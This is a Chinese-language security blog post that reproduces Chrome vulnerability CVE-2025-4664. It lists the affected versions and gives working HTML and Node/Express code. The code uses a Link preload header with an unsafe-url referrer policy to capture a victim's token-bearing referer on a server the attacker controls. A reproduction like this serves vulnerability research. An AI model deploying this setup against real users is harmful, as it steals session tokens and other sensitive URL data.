Google Chrome 跨源数据泄露漏洞(CVE-2025-4664)复现
2025-05-15 22:31:45 # Web漏洞复现

前言

前几天才写了一篇文章[1],关于数据包中referer头信息泄露的问题。能窃取referer头中的敏感信息。窃取关键是要启用unsafe-url,这里就是前端开发的设置问题了。最近爆出了一个Chrome浏览器的漏洞,就是去窃取用户referer头中的敏感信息,不需要前端启用了unsafe-url也可以实现敏感信息的窃取。最初我在X上看到了提出这个问题的推文[2],当时好像是说不算是漏洞问题,后面Google给了CVE,定级为CVE-2025-4664。下面我们来复现一下这个漏洞。

漏洞描述

Google 发布公告称**Google Chrome 跨源数据泄露漏洞(CVE-2025-4664)**存在在野利用,该漏洞源于 Google Chrome 加载程序中的策略执行不足,远程攻击者利用此漏洞可使浏览器发起请求时携带完整的URL,导致敏感信息泄露[3]目前该漏洞已发现在野利用。

鉴于此漏洞影响范围较大,建议客户尽快做好自查及防护。⚠️⚠️⚠️

漏洞影响版本

Google Chrome(Windows/Mac) < 136.0.7103.113/.114

Google Chrome(Linux) < 136.0.7103.113

漏洞复现

还是按照之前写的[1:1]

  • AURLhttp://127.0.0.1:3000/index.html?token=xxxxxx
  • B为这个index.html页面,其中img标签的src属性我们可控,其页面不启用unsafe-url

攻击效果: 受害者会带着自己的token,就是这里的A,访问到页面BB中的img标签的src属性我们可控,设置为攻击者监听数据包的脚本,监听的数据包中包含有敏感信息的referer,进而实现信息的窃取。

Bindex.html页面内容如下,其中的http://127.0.0.1:3001/image为攻击者嵌入的监听数据包的恶意URL,这里为了演示方便我使用了本地的127.0.0.1:3001表示。这里页面没启用unsafe-url,正常是窃取不到referer头中的敏感信息的。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>Logo</title>
</head>
<body>
<h1>Logo Picture</h1>
<img src="http://127.0.0.1:3001/image" alt="Logo Picture">
</body>
</html>

对于http://127.0.0.1:3001/image的后端代码main.js如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const express = require('express')
const app = express()
const port = 3001
const path = require('path')

app.get('/image',(req,res) => {
res.setHeader('Link','<http://127.0.0.1:3001/log>;rel="preload"; as="image";referrerpolicy="unsafe-url"')
res.sendFile(path.join(__dirname,'logo.png'))
});

app.get('/log',(req, res) => {
console.log(req.headers['referer']);
res.send('Hi!');
});

app.listen(port,() => {
console.log(`Server running at http://localhost:${port}`);
});

本地使用python3 -m http.server 3000启用一个web服务,把B这个index.html页面放在当前启用web服务的目录下,受害者访问A,即http://127.0.0.1:3000/index.html?token=secret,表示受害者正常访问页面,到达了B

攻击者在自己的vpsnode main.js运行恶意的脚本,即得到这里的http://127.0.0.1:3001/image。将这个恶意的URL,嵌入到B这个正常安全的页面中去,前提是Bsrc属性是攻击者可控的。

受害者使用不安全的Google Chrome浏览器版本,去访问安全Referer-Policy配置的 B页面时,就会导致referer头中的敏感信息泄露。

image-20250515214503409

结果如下:

image-20250515223129119

image-20250515223008246

image-20250515214647072

我使用的Chrome版本如下,低于安全版本。

image-20250515214726592

参考


  1. https://x2nn.github.io/2025/05/06/数据包referer头中敏感信息的窃取/ ↩︎ ↩︎

  2. https://x.com/slonser_/status/1919439373986107814 ↩︎

  3. https://mp.weixin.qq.com/s/Gz0PBUfFv4Cz7FUNDjYTcQ ↩︎